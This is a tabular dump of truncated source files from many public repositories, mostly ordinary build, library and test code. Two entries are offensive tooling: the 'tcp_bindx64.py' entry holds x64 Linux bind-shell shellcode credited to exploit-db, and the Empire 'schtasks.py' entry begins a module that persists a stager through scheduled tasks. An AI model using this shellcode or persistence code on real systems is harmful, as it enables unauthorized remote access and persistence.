repo_name stringlengths 5 100 | ref stringlengths 12 67 | path stringlengths 4 244 | copies stringlengths 1 8 | content stringlengths 0 1.05M ⌀ |
|---|---|---|---|---|
gitromand/phantomjs | refs/heads/master | src/breakpad/src/tools/gyp/test/actions/gyptest-all.py | 137 | #!/usr/bin/env python
# Copyright (c) 2009 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
Verifies simple actions when using an explicit build target of 'all'.
"""
import TestGyp
test = TestGyp.TestGyp()
test.run_gyp('actio... |
mdaniel/intellij-community | refs/heads/master | python/testData/inspections/AddGlobalExistingStatement_after.py | 83 | a = 1
def foo():
global b, a
print a
a = 2
print a
foo()
|
elijah513/scrapy | refs/heads/master | scrapy/contrib/linkextractors/lxmlhtml.py | 144 | import warnings
from scrapy.exceptions import ScrapyDeprecationWarning
warnings.warn("Module `scrapy.contrib.linkextractors.lxmlhtml` is deprecated, "
"use `scrapy.linkextractors.lxmlhtml` instead",
ScrapyDeprecationWarning, stacklevel=2)
from scrapy.linkextractors.lxmlhtml import *
|
Dhivyap/ansible | refs/heads/devel | lib/ansible/modules/cloud/openstack/_os_server_actions.py | 61 | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright: (c) 2018, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
... |
qbahn/grortir | refs/heads/master | setup.py | 1 | #!/usr/bin/env python
"""Setup script for Grortir."""
import setuptools
from grortir import __project__, __version__
try:
README = open("README.rst").read()
CHANGES = open("CHANGES.rst").read()
except IOError:
DESCRIPTION = "<placeholder>"
else:
DESCRIPTION = README + '\n' + CHANGES
setuptools.setu... |
xzturn/tensorflow | refs/heads/master | tensorflow/python/training/training_ops.py | 53 | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
BT-jmichaud/sale-workflow | refs/heads/8.0 | sale_procurement_group_by_line/model/__init__.py | 45 | from . import sale
|
cedexis/cedexis.radar | refs/heads/master | cedexis/__init__.py | 14 |
__import__('pkg_resources').declare_namespace(__name__)
|
eth-cscs/production | refs/heads/master | spack/reframe/src/spack_util/spacklib.py | 1 | import copy
import re
import semver
import glob
import os
import re
def parse_version(version_str):
intel_version_style = re.search(r'^(\d+)\.(\d+)\.(\d+)\.(\d+)$', version_str)
major_minor_style = re.search(r'^(\d+)\.(\d+)$', version_str)
if intel_version_style:
major = intel_version_style.group(... |
sinperwolf/shadowsocks | refs/heads/master | shadowsocks/__init__.py | 1084 | #!/usr/bin/python
#
# Copyright 2012-2015 clowwindy
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... |
bcorbet/SickRage | refs/heads/master | lib/feedcache/test_cache.py | 28 | #!/usr/bin/env python
#
# Copyright 2007 Doug Hellmann.
#
#
# All Rights Reserved
#
# Permission to use, copy, modify, and distribute this software and
# its documentation for any purpose and without fee is hereby
# granted, provided that the above copyright notice appear in all
# copies and tha... |
eul-721/The-Perfect-Pokemon-Team-Balancer | refs/heads/master | libs/env/Lib/site-packages/sqlalchemy/dialects/mysql/gaerdbms.py | 79 | # mysql/gaerdbms.py
# Copyright (C) 2005-2014 the SQLAlchemy authors and contributors <see AUTHORS file>
#
# This module is part of SQLAlchemy and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php
"""
.. dialect:: mysql+gaerdbms
:name: Google Cloud SQL
:dbapi: rdbms
:co... |
keisuke-umezawa/chainer | refs/heads/master | chainer/distributions/gumbel.py | 2 | import numpy
import chainer
from chainer.backends import cuda
from chainer import distribution
from chainer.functions.math import exponential
from chainer.functions.math import lgamma
from chainer.utils import cache
EULER = 0.57721566490153286060651209008240243104215933593992
class Gumbel(distribution.Distribution... |
catchmrbharath/servo | refs/heads/master | tests/wpt/update/upstream.py | 73 | import os
import re
import subprocess
import sys
import urlparse
from wptrunner.update.sync import LoadManifest, UpdateCheckout
from wptrunner.update.tree import get_unique_name
from wptrunner.update.base import Step, StepRunner, exit_clean, exit_unclean
from .tree import Commit, GitTree, Patch
import github
from .gi... |
gusano/supercollider | refs/heads/develop | external_libraries/simplejson-2.3.2/scanner.py | 44 | """JSON token scanner
"""
import re
def _import_c_make_scanner():
try:
from ._speedups import make_scanner
return make_scanner
except ImportError:
return None
c_make_scanner = _import_c_make_scanner()
__all__ = ['make_scanner']
NUMBER_RE = re.compile(
r'(-?(?:0|[1-9]\d*))(\.\d+)?([... |
google/brax | refs/heads/main | brax/tests/env_test.py | 1 | # Copyright 2021 The Brax Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... |
jounex/hue | refs/heads/master | desktop/core/ext-py/pycrypto-2.6.1/lib/Crypto/SelfTest/Random/OSRNG/test_fallback.py | 131 | # -*- coding: utf-8 -*-
#
# SelfTest/Util/test_fallback.py: Self-test for the OSRNG.fallback.new() function
#
# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>
#
# ===================================================================
# The contents of this file are dedicated to the public domain. To
# the e... |
agry/NGECore2 | refs/heads/master | scripts/object/tangible/datapad/droid_datapad_1.py | 85615 | import sys
def setup(core, object):
return |
agry/NGECore2 | refs/heads/master | scripts/object/draft_schematic/armor/armor_appearance_ithorian_sentinel_bracer_r.py | 85615 | import sys
def setup(core, object):
return |
rhli/hadoop-EAR | refs/heads/master | src/contrib/hod/hodlib/RingMaster/__init__.py | 1638 | #Licensed to the Apache Software Foundation (ASF) under one
#or more contributor license agreements. See the NOTICE file
#distributed with this work for additional information
#regarding copyright ownership. The ASF licenses this file
#to you under the Apache License, Version 2.0 (the
#"License"); you may not use thi... |
javierag/samba | refs/heads/master | third_party/dnspython/tests/ntoaaton.py | 47 | # Copyright (C) 2003-2007, 2009-2011 Nominum, Inc.
#
# Permission to use, copy, modify, and distribute this software and its
# documentation for any purpose with or without fee is hereby granted,
# provided that the above copyright notice and this permission notice
# appear in all copies.
#
# THE SOFTWARE IS PROVIDED "... |
kobolabs/calibre | refs/heads/kobo | src/calibre/gui2/preferences/saving.py | 4 | #!/usr/bin/env python
# vim:fileencoding=UTF-8:ts=4:sw=4:sta:et:sts=4:ai
__license__ = 'GPL v3'
__copyright__ = '2010, Kovid Goyal <kovid@kovidgoyal.net>'
__docformat__ = 'restructuredtext en'
from calibre.gui2.preferences import ConfigWidgetBase, test_widget, \
AbortCommit
from calibre.gui2.preferences.s... |
sillydan1/WhatEverEngine | refs/heads/master | packages/IronPython.StdLib.2.7.5/content/Lib/encodings/mac_latin2.py | 647 | """ Python Character Mapping Codec generated from 'LATIN2.TXT' with gencodec.py.
Written by Marc-Andre Lemburg (mal@lemburg.com).
(c) Copyright CNRI, All Rights Reserved. NO WARRANTY.
(c) Copyright 2000 Guido van Rossum.
"""#"
import codecs
### Codec APIs
class Codec(codecs.Codec):
def encode(self,input,erro... |
Serag8/Bachelor | refs/heads/master | google_appengine/lib/django-1.4/django/db/backends/oracle/client.py | 645 | import os
import sys
from django.db.backends import BaseDatabaseClient
class DatabaseClient(BaseDatabaseClient):
executable_name = 'sqlplus'
def runshell(self):
conn_string = self.connection._connect_string()
args = [self.executable_name, "-L", conn_string]
if os.name == 'nt':
... |
j00bar/ansible | refs/heads/devel | test/units/module_utils/basic/test_safe_eval.py | 66 | # -*- coding: utf-8 -*-
# (c) 2015-2016, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or... |
sghiassy/react-native | refs/heads/master | ReactAndroid/src/main/java/com/facebook/react/bridge/package_js.py | 409 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os
import sys
import zipfile
srcs = sys.argv[1:]
with zipfile.ZipFile(sys.stdout, 'w') as jar:
for src in srcs:
archive_name = os.path.join('assets/',... |
nicolasiscoding/IEEEOpenCV2016 | refs/heads/master | Vision/QR/GenericCascade.py | 1 | #!/usr/bin/env python
import cv2
# import rospy
# import roslib
import numpy as np
import os.path
# roslib.load_manifest('object_detection')
# from sensor_msgs.msg import Image
# from cv_bridge import CvBridge, CvBridgeError
'''
#############################################################
# IEEE Hardwa... |
haha1903/homebrew-cask | refs/heads/master | developer/cgi/check_url_redirect.py | 58 | #!/usr/bin/python
from __future__ import print_function
import sys
import cgi
try: # Python 3
from urllib.request import Request, urlopen
except NameError: # Python 2
from urllib2 import Request, urlopen
url = sys.argv[1]
headers = {'User-Agent': 'Mozilla'}
if len(sys.argv) > 2:
ua = sys.argv[2]
headers... |
Kjir/papyon | refs/heads/master | papyon/service/OfflineIM/__init__.py | 7 | # -*- coding: utf-8 -*-
#
# papyon - a python client library for Msn
#
# Copyright (C) 2007 Johann Prieur <johann.prieur@gmail.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either versi... |
KadirCelep/idata-visa-tracker | refs/heads/master | config.py | 1 | country_code="<COUNTRY_CODE: de|it>"
application_id="<APPLICATION_ID>"
passport_id="<PASSPORT_NUMBER>"
|
arruda/cloudfuzzy | refs/heads/master | fuzzy_modeling/models/sets.py | 1 | # -*- coding: utf-8 -*-
import inspect
from django.db import models
from django.contrib.contenttypes import generic
from django.utils.translation import ugettext_lazy as _
from fuzzy_modeling.models.parameters import ParameterModel
from fuzzy_modeling.models.utils import PyFuzzyMixin
from fuzzy_modeling.utils impo... |
switchboardOp/ansible | refs/heads/devel | test/units/modules/network/nxos/test_nxos_bgp_af.py | 6 | # (c) 2016 Red Hat Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is dis... |
wskplho/sl4a | refs/heads/master | python/src/Lib/HTMLParser.py | 59 | """A parser for HTML and XHTML."""
# This file is based on sgmllib.py, but the API is slightly different.
# XXX There should be a way to distinguish between PCDATA (parsed
# character data -- the normal case), RCDATA (replaceable character
# data -- only char and entity references and end tags are special)
# and CDAT... |
dahlstrom-g/intellij-community | refs/heads/master | python/testData/inspections/AugmentAssignment_after.py | 83 | var += 3 |
klahnakoski/JsonSchemaToMarkdown | refs/heads/master | vendor/mo_times/__init__.py | 3 | # encoding: utf-8
#
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
#
# Author: Kyle Lahnakoski (kyle@lahnakoski.com)
#
from __future__ import absolute_import
from __... |
javalovelinux/SparkGroovyScript | refs/heads/master | dist/examples/src/main/python/ml/estimator_transformer_param_example.py | 123 | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
wweiradio/django | refs/heads/master | django/db/backends/dummy/features.py | 555 | from django.db.backends.base.features import BaseDatabaseFeatures
class DummyDatabaseFeatures(BaseDatabaseFeatures):
supports_transactions = False
|
houssemFat/MeeM-Dev | refs/heads/master | student/apps/courses/forum/models.py | 1 | from __future__ import unicode_literals
from django.db import models
from core.apps.accounts.models import User
from student.apps.courses.models import Course
from django.utils.datetime_safe import datetime
# forum
class CourseForum(models.Model):
course = models.ForeignKey(Course, db_column="course_id", related... |
JeyZeta/Dangerous | refs/heads/master | Dangerous/TheHarvester/requests-2.9.1/build/lib/requests/packages/urllib3/request.py | 714 | from __future__ import absolute_import
try:
from urllib.parse import urlencode
except ImportError:
from urllib import urlencode
from .filepost import encode_multipart_formdata
__all__ = ['RequestMethods']
class RequestMethods(object):
"""
Convenience mixin for classes who implement a :meth:`urlopen... |
Magic07/online-judge-solutions | refs/heads/master | leetcode/1778-maximize-grid-happiness.py | 2 | class Solution:
def getMaxGridHappiness(self, m: int, n: int, introvertsCount: int, extrovertsCount: int) -> int:
mask=0b11
for i in range(1,n):
mask<<=2
mask+=0b11
#print('{0:b}'.format(mask))
@lru_cache(None)
def dp(index, last, ic, ec):
... |
alistairlow/tensorflow | refs/heads/master | tensorflow/contrib/stateless/__init__.py | 36 | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
tpaszkowski/quantum | refs/heads/master | quantum/plugins/hyperv/model.py | 5 | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2013 Cloudbase Solutions SRL
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.ap... |
ImageEngine/gaffer | refs/heads/master | contrib/scripts/qt5Check.py | 11 | #! /usr/bin/env python
import os
import re
import inspect
import argparse
import pydoc
import Qt
parser = argparse.ArgumentParser(
description = inspect.cleandoc(
"""
Attempts to search Python source files to assist
in the detection of Qt constructs that are not
supported directly by Qt.py. It finds some false
... |
40223105/w17test | refs/heads/master | static/Brython3.1.1-20150328-091302/Lib/socket.py | 730 | # Wrapper module for _socket, providing some additional facilities
# implemented in Python.
"""\
This module provides socket operations and some related functions.
On Unix, it supports IP (Internet Protocol) and Unix domain sockets.
On other systems, it only supports IP. Functions specific for a
socket are available a... |
fhaoquan/kbengine | refs/heads/master | kbe/src/lib/python/Lib/_osx_support.py | 86 | """Shared OS X support functions."""
import os
import re
import sys
__all__ = [
'compiler_fixup',
'customize_config_vars',
'customize_compiler',
'get_platform_osx',
]
# configuration variables that may contain universal build flags,
# like "-arch" or "-isdkroot", that may need customization for
# the... |
MSOpenTech/edx-platform | refs/heads/master | common/djangoapps/course_modes/urls.py | 47 | from django.conf.urls import patterns, url
from django.conf import settings
from course_modes import views
urlpatterns = patterns(
'',
# pylint seems to dislike as_view() calls because it's a `classonlymethod` instead of `classmethod`, so we disable the warning
url(r'^choose/{}/$'.format(settings.COURSE_I... |
KarlTDebiec/myplotspec_sim | refs/heads/master | moldynplot/test/test_FigureManager.py | 2 | #!/usr/bin/python
# -*- coding: utf-8 -*-
# test_FigureManager.py
#
# Copyright (C) 2015-2017 Karl T Debiec
# All rights reserved.
#
# This software may be modified and distributed under the terms of the
# BSD license. See the LICENSE file for details.
################################### MODULES #############... |
PowerShellEmpire/Empire | refs/heads/master | lib/modules/powershell/persistence/userland/schtasks.py | 10 | import os
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Schtasks',
'Author': ['@mattifestation', '@harmj0y'],
'Description': ('Persist a stager (or script) using schtasks. This has a moderate detec... |
andreyvit/pyjamas | refs/heads/master | library/pyjamas/platform/DOMmshtml.py | 1 |
def get_listener(item):
if item is None:
return None
return listeners.get(item.uniqueID)
def set_listener(item, listener):
listeners[item.uniqueID] = listener
def _dispatchEvent(sender, event, useCap):
if not event:
evt = wnd().event
else:
evt = event
#print "_dispatc... |
roissy/l0l | refs/heads/master | core/database/Linux64/tcp_bindx64.py | 2 | #https://www.exploit-db.com/exploits/39151/
def tcp_bindx64( PORT):
shellcode = r"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
shellcode += r"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
shellcode += r"\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"
s... |
nicklhy/mxnet | refs/heads/master | tools/coreml/converter/_layers.py | 7 | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
benthomasson/ansible | refs/heads/devel | lib/ansible/modules/cloud/vmware/vmware_local_user_manager.py | 8 | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright IBM Corp. 2016
# Author(s): Andreas Nafpliotis <nafpliot@de.ibm.com>
#
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_META... |
ccrook/Quantum-GIS | refs/heads/master | python/PyQt/PyQt5/QtWidgets.py | 17 | # -*- coding: utf-8 -*-
"""
***************************************************************************
QtWidgets.py
---------------------
Date : November 2015
Copyright : (C) 2015 by Matthias Kuhn
Email : matthias at opengis dot ch
************************... |
havard024/prego | refs/heads/master | venv/lib/python2.7/site-packages/MySQLdb/cursors.py | 76 | """MySQLdb Cursors
This module implements Cursors of various types for MySQLdb. By
default, MySQLdb uses the Cursor class.
"""
import re
import sys
try:
from types import ListType, TupleType, UnicodeType
except ImportError:
# Python 3
ListType = list
TupleType = tuple
UnicodeType =... |
2013Commons/hue | refs/heads/master | desktop/core/ext-py/Django-1.4.5/tests/modeltests/prefetch_related/models.py | 33 | from django.contrib.contenttypes import generic
from django.contrib.contenttypes.models import ContentType
from django.db import models
## Basic tests
class Author(models.Model):
name = models.CharField(max_length=50, unique=True)
first_book = models.ForeignKey('Book', related_name='first_time_authors')
f... |
chhe/streamlink | refs/heads/master | src/streamlink/plugins/livestream.py | 4 | import logging
import re
from streamlink.plugin import Plugin
from streamlink.plugin.api import validate
from streamlink.plugin.api.utils import parse_json
from streamlink.stream import HLSStream
log = logging.getLogger(__name__)
class Livestream(Plugin):
_url_re = re.compile(r"https?://(?:www\.)?livestream\.co... |
lewisl9029/toc-seed | refs/heads/master | telehash-v2/node_modules/telehash-cs3a/node_modules/js-nacl/import.py | 10 | #!/usr/bin/env python
# A tool to import a NaCl source tree into subnacl/, fixing symbol names.
# Written by Brian Warner https://github.com/warner as part of PyNaCl.
# PyNaCl is released under version 2.0 of the Apache license.
# Modified by tonygarnockjones@gmail.com to construct a Javascript API as well.
import os,... |
viekie/tensorflow-tutorial | refs/heads/master | chap03/tf_mnist_cnn.py | 1 | #!/usr/bin/env python
# -*- coding:utf8 -*-
import tensorflow as tf
import tensorflow.examples.tutorials.mnist.input_data as input_data
# 加载数据, 定义x, y的维度, 进行占位
mnist = input_data.read_data_sets('MNIST_data', one_hot = True)
x = tf.placeholder('float', shape = [None, 784])
y_ = tf.placeholder('float', shape = [None,... |
martijnthe/jerryscript | refs/heads/master | tools/run-tests.py | 1 | #!/usr/bin/env python
# Copyright JS Foundation and other contributors, http://js.foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.... |
andrewklau/pidora | refs/heads/master | cherrypy/_cpconfig.py | 87 | """
Configuration system for CherryPy.
Configuration in CherryPy is implemented via dictionaries. Keys are strings
which name the mapped value, which may be of any type.
Architecture
------------
CherryPy Requests are part of an Application, which runs in a global context,
and configuration data may apply to any of... |
xgin/letsencrypt | refs/heads/master | letsencrypt/display/enhancements.py | 18 | """Let's Encrypt Enhancement Display"""
import logging
import zope.component
from letsencrypt import errors
from letsencrypt import interfaces
from letsencrypt.display import util as display_util
logger = logging.getLogger(__name__)
# Define a helper function to avoid verbose code
util = zope.component.getUtility
... |
energyPATHWAYS/energyPATHWAYS | refs/heads/master | energyPATHWAYS/api/change_password.py | 1 | import click
from flask import Flask
import models
# create the application object
app = Flask(__name__)
app.config.from_pyfile('config.py')
models.db.init_app(app)
@click.command()
@click.argument('username')
@click.password_option()
def change_password(username, password):
with app.app_context():
user =... |
sergiocorato/ocb-server-61 | refs/heads/master | history/migrate/3.4.0-4.0.0/post-tiny.py | 52 | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the... |
h3biomed/ansible | refs/heads/h3 | lib/ansible/modules/identity/ipa/ipa_subca.py | 74 | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright (c) 2017, Abhijeet Kasurde (akasurde@redhat.com)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_versio... |
ytjiang/django | refs/heads/master | tests/admin_scripts/simple_app/models.py | 580 | from ..complex_app.models.bar import Bar
__all__ = ['Bar']
|
googlefonts/gftools | refs/heads/main | bin/gftools-check-bbox.py | 1 | #!/usr/bin/env python3
#
# Copyright 2017 The Google Font Tools Authors
# Copyright 2016 The Fontbakery Authors
#
# Copyright 2010, Google Inc.
# Author: Dave Crossland (dave@understandinglimited.com)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in complianc... |
IntelLabs/numba | refs/heads/master | numba/cuda/tests/cudadrv/test_host_alloc.py | 6 | import numpy as np
from numba.cuda.cudadrv import driver
from numba import cuda
from numba.cuda.testing import unittest, ContextResettingTestCase
class TestHostAlloc(ContextResettingTestCase):
def test_host_alloc_driver(self):
n = 32
mem = cuda.current_context().memhostalloc(n, mapped=True)
... |
yahman72/robotframework | refs/heads/master | src/robot/variables/isvar.py | 5 | # Copyright 2008-2015 Nokia Solutions and Networks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... |
dydek/django | refs/heads/master | tests/migrations/migrations_test_apps/conflicting_app_with_dependencies/migrations/0001_initial.py | 241 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
operations = [
migrations.CreateModel(
"Author",
[
("id", models.AutoField(primary_key=True)),
("name", ... |
cyngus84/Ochre | refs/heads/master | ochre-app-engine-server/lib/werkzeug/posixemulation.py | 364 | # -*- coding: utf-8 -*-
r"""
werkzeug.posixemulation
~~~~~~~~~~~~~~~~~~~~~~~
Provides a POSIX emulation for some features that are relevant to
web applications. The main purpose is to simplify support for
systems such as Windows NT that are not 100% POSIX compatible.
Currently this only imple... |
vmax-feihu/hue | refs/heads/master | desktop/core/ext-py/Babel-0.9.6/babel/localedata.py | 67 | # -*- coding: utf-8 -*-
#
# Copyright (C) 2007 Edgewall Software
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also available at http://babel.edgewall.org/wiki/License.
#
# This software cons... |
glove747/liberty-neutron | refs/heads/master | neutron/tests/tempest/services/identity/v3/json/credentials_client.py | 24 | # Copyright 2013 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... |
Endika/Algorithm-Implementations | refs/heads/master | Binary_Search/Python/jcla1/binary_search.py | 15 | # Expects the array to be sorted
def binary_search(arr, target):
if len(arr) < 1:
return -1
middle = int(len(arr) / 2)
middle_value = arr[middle]
if middle_value > target:
return binary_search(arr[:middle], target)
elif middle_value < target:
v = binary_search(arr[middle + ... |
coreyoconnor/nixops | refs/heads/master | nixops/resources/datadog-screenboard.py | 3 | # -*- coding: utf-8 -*-
import nixops.util
import nixops.resources
import nixops.datadog_utils
import json
class DatadogScreenboardDefinition(nixops.resources.ResourceDefinition):
"""Definition of a Datadog screenboard."""
@classmethod
def get_type(cls):
return "datadog-screenboard"
@classm... |
mklew/mmp | refs/heads/cassandra-1.0 | pylib/cqlshlib/pylexotron.py | 7 | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
asterix135/infonex_crm | refs/heads/master | crm/migrations/0024_auto_20170524_1201.py | 1 | # -*- coding: utf-8 -*-
# Generated by Django 1.10.6 on 2017-05-24 16:01
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('crm', '0023_auto_20170517_1109'),
]
operations = [
migrations.AddField(
... |
yunspace/FrameworkBenchmarks | refs/heads/master | frameworks/Python/web2py/compile_apps.py | 44 | # -*- coding: utf-8 -*-
import sys
import os
path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'web2py')
sys.path = [path] + [p for p in sys.path if not p == path]
from gluon.compileapp import compile_application
compile_application(os.path.join(path, 'applications', 'standard'))
compile_application(o... |
rzhxeo/youtube-dl | refs/heads/master | youtube_dl/extractor/srmediathek.py | 25 | # encoding: utf-8
from __future__ import unicode_literals
import json
from .common import InfoExtractor
from ..utils import js_to_json
class SRMediathekIE(InfoExtractor):
IE_DESC = 'Süddeutscher Rundfunk'
_VALID_URL = r'https?://sr-mediathek\.sr-online\.de/index\.php\?.*?&id=(?P<id>[0-9]+)'
_TEST = {
... |
blueskyjunkie/timeTools | refs/heads/master | timetools/synchronization/oscillator/__init__.py | 1 | #
# Copyright 2017 Russell Smiley
#
# This file is part of timetools.
#
# timetools is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
#... |
rahuldan/sympy | refs/heads/master | sympy/simplify/tests/test_rewrite.py | 100 | from sympy import sin, cos, exp, cot, I, symbols
x, y, z, n = symbols('x,y,z,n')
def test_has():
assert cot(x).has(x)
assert cot(x).has(cot)
assert not cot(x).has(sin)
assert sin(x).has(x)
assert sin(x).has(sin)
assert not sin(x).has(cot)
def test_sin_exp_rewrite():
assert sin(x).rewrit... |
grnet/synnefo | refs/heads/develop | snf-pithos-backend/pithos/backends/lib/sqlalchemy/xfeatures.py | 10 | # Copyright (C) 2010-2014 GRNET S.A.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed i... |
leilihh/libvirt | refs/heads/block_I/O_throttling | python/tests/create.py | 23 | #!/usr/bin/python -u
import libvirt
import sys
import os
import time
if not os.access("/proc/xen", os.R_OK):
print 'System is not running a Xen kernel'
sys.exit(1)
#
# Try to provide default OS images paths here, of course non standard
#
osroots = [
"/u/fc4-2.img",
"/u/fc4.img",
"/xen/fc4.img",
]
okay ... |
nmGit/MView | refs/heads/master | MWeb.py | 1 | # Copyright (C) 2016 Noah Meltzer
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
# This program is distribut... |
mgaitan/scipy | refs/heads/master | scipy/linalg/flinalg.py | 138 | #
# Author: Pearu Peterson, March 2002
#
from __future__ import division, print_function, absolute_import
__all__ = ['get_flinalg_funcs']
# The following ensures that possibly missing flavor (C or Fortran) is
# replaced with the available one. If none is available, exception
# is raised at the first attempt to use t... |
mikey1234/script.module.urlresolver | refs/heads/master | lib/urlresolver/plugins/mightyupload.py | 1 | """
mightyupload urlresolver plugin
Copyright (C) 2013 Lynx187
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is... |
frederica07/Dragon_Programming_Process | refs/heads/master | PyOpenGL-3.0.2/OpenGL/raw/GL/SGIX/vertex_preclip.py | 1 | '''Autogenerated by get_gl_extensions script, do not edit!'''
from OpenGL import platform as _p
from OpenGL.GL import glget
EXTENSION_NAME = 'GL_SGIX_vertex_preclip'
_p.unpack_constants( """GL_VERTEX_PRECLIP_SGIX 0x83EE
GL_VERTEX_PRECLIP_HINT_SGIX 0x83EF""", globals())
def glInitVertexPreclipSGIX():
'''Return boo... |
agry/NGECore2 | refs/heads/master | scripts/object/draft_schematic/weapon/lightsaber_basic.py | 85615 | import sys
def setup(core, object):
return |
agry/NGECore2 | refs/heads/master | scripts/object/tangible/loot/creature_loot/collections/col_resource_harvest_milk.py | 85615 | import sys
def setup(core, object):
return |
texastribune/armstrong.core.arm_wells | refs/heads/master | fabfile.py | 1 | from armstrong.dev.tasks import *
settings = {
'DEBUG': True,
'INSTALLED_APPS': (
'django.contrib.contenttypes',
'armstrong.core.arm_wells',
'south',
),
'TEMPLATE_CONTEXT_PROCESSORS': (
'django.core.context_processors.request',
),
}
main_app = "arm_wells"
full_name ... |
tcheehow/MissionPlanner | refs/heads/master | Lib/site-packages/scipy/optimize/optimize.py | 55 | #__docformat__ = "restructuredtext en"
# ******NOTICE***************
# optimize.py module by Travis E. Oliphant
#
# You may copy and use this module as you see fit with no
# guarantee implied provided you keep this notice in all copies.
# *****END NOTICE************
# A collection of optimization algorithms. Version ... |
sbellem/django | refs/heads/master | django/contrib/gis/gdal/driver.py | 526 | from ctypes import c_void_p
from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.error import GDALException
from django.contrib.gis.gdal.prototypes import ds as vcapi, raster as rcapi
from django.utils import six
from django.utils.encoding import force_bytes, force_text
class Driver(GDALBas... |
